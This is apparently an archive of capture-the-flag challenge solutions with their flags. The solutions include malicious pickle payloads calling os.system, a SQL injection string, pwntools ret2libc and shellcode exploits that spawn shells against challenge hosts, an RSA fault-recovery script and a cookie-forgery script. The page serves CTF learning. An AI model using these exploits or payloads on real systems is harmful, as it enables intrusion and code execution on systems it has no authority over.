Archived Challenges - May 2023

Fun Fact: Cybersecurity Ventures predicts that cybercrime will cost the world $10.5 trillion annually by 2025, cybersecurity jobs are expected to grow by 31% between 2019 and 2029

ictf{w3lcom3_to_r0und_34!}

Using pickletools' dis function, you can inspect the content of the pickle payload. In there, you will notice two suspicious things: - the loading of os.remove and __main__.__file__ and subsequent removal of said file - the loading of base64.b64decode and subsequent decoding of a base64 string corresponding to a rickroll url Removing these from the pickle, it will output a dict. The keys are indices, and the values are ascii values: recombine them to get the flag.

ictf{p1ck135_fr0m_7h3_1n73rn37_4r3_d4ng3r0u5}

Notice from the title that it's TLV, read 1 byte for type, 1 byte for length, and types are 1. lowercase, 2. uppercase, 3. numbers, 4. special characters. 1-3 use indexes into a typical dictionary, 4 uses typical ascii encoding. https://imaginaryctf.org/f/Zi9yE

ictf{CusTom_tYpe_length_value_TYPES_141ab}

print(b'\x80\x04cos\nsystem\nU\2sh\x85R.'.hex())

ictf{h0w_7h3_7urn_74b135}

b'\x80\4c__main__\npickle.codecs.builtins.getattr\nc__main__\npickle.codecs.builtins\nVbreakpoint\n\x86R)R.'

ictf{7h15_j41l_15_pr3t7y_l0w_53cUr1ty...}

#include <stdio.h>
#include <stdlib.h>

int main() {
    unsigned int ct[] = {1804289294, 846930853, 1681692701, 1714636821, 1957747754, 424238262, 719885333, 1649760399, 596516680, 1189641379, 1025202333, 1350490079, 783368621, 1102519961, 2044897670, 1967513898, 1365180437, 1540383399, 304089122, 1303455645, 35005252, 521595297, 294702520, 1726956537, 336465694, 861021493, 278722907, 233665028, 2145174107, 468703211, 1101513878, 1801979893, 1315633920, 635723117, 1369133182, 1125898194, 1059961428, 2089018428, 628175056, 1656478011, 1131176279, 1653377282, 859484519, 1914545010, 608413758, 756898438, 1734575148, 1973594289, 149798388, 2038664390, 1129566373, 184803503, 412776168, 1424269001};
    unsigned int *ptr = ct;
    
    while(*ptr) {
        printf("%c", rand()^(*(ptr++)));
    }
    printf("\n");
}

C writeup for C challenge. rand() called without seeding first will always return the same results.

ictf{I_can't_believe_I_thought_of_seedsar_before_this}

There is a typo in sq = pow(m, dp, q) so the signature is faulty, therefore gcd(pow(s, e, n) - h, n) = p, but we still don't know h here. We can use the fact that h<2**256 to apply coppersmith method to find it and recover p.

# ...
x = Zmod(n)["x"].gen()
f = (pow(s, e, n) - x).monic()
h = ZZ(f.small_roots(X=2**256, beta=0.49)[0])
p = gcd(f.change_ring(ZZ)(h), n)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)
print(int(m).to_bytes(256, "big").strip(b"\x00"))

ictf{a_typo_leading_to_private_key_being_cracked...}

The zip file isn't actually encrypted, it just has the "encrypted" bit set, so trying to open it prompts for a password (on Windows, at least). The flag can be found easily with strings.

ictf{hiding_in_plain_strings_c3d45164}

The flag characters are the first byte of the checksum of each packet.

ictf{playing_4D_chess_with_checksums}

' union select username, password, null from users;/*

In SQLite, quotes are escaped by repeating them (i.e. '' is an escaped single quote, and "" is an escaped double quote) rather than with a backslash. Thus, a normal SQL injection works here.

ictf{what_do_you_mean_I_have_to_test_my_code_to_make_sure_it_works?}

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript = '''
'''.format(**locals())

exe = './embof'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
#context(terminal=['tmux', 'split-window', '-h'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

io = start()

# Leak canary
payload = b'no'
payload += b'A' * 7
io.sendlineafter(b'this?\n', payload)

leak = io.recvuntil(b'\nI')[19:-3]
canary = u64(b'\x00' + leak.ljust(7, b'\x00'))
log.success("Canary: %#x", canary)

# Leak binary address 
payload = b'ofcourse'
payload += b'B' * 32
io.sendlineafter(b'this?\n', payload)

io.recvuntil(b'ofcourseBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB')
leak = io.recvline()[:-1]
binaryleak = u64(leak.ljust(8, b'\x00'))
elf.address = binaryleak - 0x1189
log.success("Binary leak: %#x", binaryleak)
log.success("Binary base: %#x", elf.address)

# Return to main to leak libc

payload = flat (
    b'A' * 8,
    canary,
    b'B' * 8,
    elf.sym.main
    )

io.sendlineafter(b'me: ', payload)

# Leak libc
payload = b'ofcourse'
payload += b'B' * 168
io.sendlineafter(b'this?\n', payload)

leak = io.recvuntil(b'\nFeed')[186:-5]
libcleak = u64(leak.ljust(8, b'\x00'))
libc.address = libcleak - 0x27245
log.success("Libc leak: %#x", libcleak)
log.success("Libc base: %#x", libc.address)

# Get shell

r = ROP(libc)
pop_rdi = r.find_gadget(["pop rdi", "ret"])[0]
ret = r.find_gadget(["ret"])[0]

payload = flat (
    b'A' * 8,
    canary,
    b'B' * 8,
    pop_rdi,
    next(libc.search(b'/bin/sh\x00')),
    libc.symbols.system,
    )

io.sendlineafter(b'me: ', payload)

io.interactive()```

ictf{y0u_4r3_th3_pwn_m45t3r_0f_th3_st4ck}

Write a bunch of nops, then /bin/sh shellcode

from pwn import *

context.binary = elf = ELF("./vuln")
#conn = elf.process()
conn = remote('eth007.me', 42042)
payload = b"a"*0x61
payload += asm(shellcraft.sh())

conn.sendline(payload)
conn.interactive()

ictf{sh3llc0de_n0p_sl3d?}

The admin always has an ID of 1, which when signed stays as 1, because the signature just raises the ID to an unknown exponent. Setting your cookie to be 1 logs you in as admin.

ictf{just_dont_touch_the_cookies_and_everything_will_be_fine}

#!/usr/bin/env sage

import requests
from random import randint
from time import sleep
from math import gcd

url = "http://localhost:13003"
url = "http://puzzler7.imaginaryctf.org:13003"
e = 17

def check(d):
    win = [2, 3, 4, 5, 6, 7]
    for i in d:
        for j in d:
            if i/j in win:
                return i, j
    return False

known = {}
first = 0
while not (ans:=check(known)):
    s = requests.Session()
    r = s.post(url + "/create", data={"username": str(randint(1,2**128))})
    idx = int(r.history[0].headers["Location"].split('/')[-1])
    if known == {}:
        first = idx
    cookie = int(s.cookies.get("user"))
    known[idx] = cookie
    print(known)
    sleep(.5)

n = pow(known[first], e) - first
for idx in known:
    n = gcd(n, pow(known[idx], e) - idx)

cookie = (known[ans[0]] * pow(known[ans[1]], -1, n)) % n
admin_id = ans[0] // ans[1]
s = requests.Session()
s.cookies.set("user", str(cookie))
r = s.get(url + f"/user/{admin_id}")
print(r.text)

You can recover n with several message pairs with https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures, and then use homomorphism to get the cookie for one of the admin users.

ictf{homomorphisms_go_brrrrrrrrrr}

from ctypes import CDLL
from ctypes.util import find_library

from pwn import *

libc = CDLL(find_library("c"))
libc.srand(0)
val = libc.rand()

# p = process(["./memory"])
p = remote("puzzler7.imaginaryctf.org", 13002)
p.send(f"{val}\n"*512)

print(p.recvall()[-64:])

The program uses strcpy to turn the bytes from urandom into an unsigned long. This means that it will stop copying at the first null byte it sees. If the first byte is null, the seed will be 0, making the first number generated predictable. This will happen with 1/256 probability.

My solution uses a nifty trick I learned from Mr. Qubo (I believe, can't quite remember) to solve quickly. Because the response from the server won't change what we send next, we can cut out the time spent waiting for the server to respond to us, and just send the same number 512 times in a row immediately.

ictf{there_seem_to_be_some_gaps_in_both_my_memory_and_my_seeds}

https://imaginaryctf.org/f/LuaZd#x.py

The binary takes the flag, takes the characters in a random order, and generates dependencies from that character on other characters - i.e. it makes constraints that other characters have to be printed first before that character. It then dumps the relevant process memory into out.mem.

You can get the "base" address by finding the lowest address referenced in the blob. From there, you can trace along the linked lists to recover the dependencies, and then topological sort the characters to get the flag.

Source code, for the curious: https://imaginaryctf.org/f/yWter

ictf{this_flag_needs_to_be_exactly_sixty_three_chars_to_work!~}

https://imaginaryctf.org/f/Pz0iX#x.py

The bits of the 4x4 array can be joined together to form a "cake". In this cake, there is a path of zeroes that represent the crumbs (2 bit values) of the flag.

00111100111100111001111001111111001100111100110011
10001110001110000100011100001111100010001110001001
11100011101111110011001111100011111001100011100100
11111001100001111011100011111000011101111001110111

For instance, the first row above has 2 zeroes at the start, indicating the first crumb is a 1 (i.e. the bits 01). The next row has 3, indicating a 2 (10). Then another 2 (10) and another 1 (01), and you have the bits for the first character of the flag. The path then wraps around to the first row and continues for the entire length of the flag.

ictf{did_you_kn0w_2_bits_is_a_crumb?}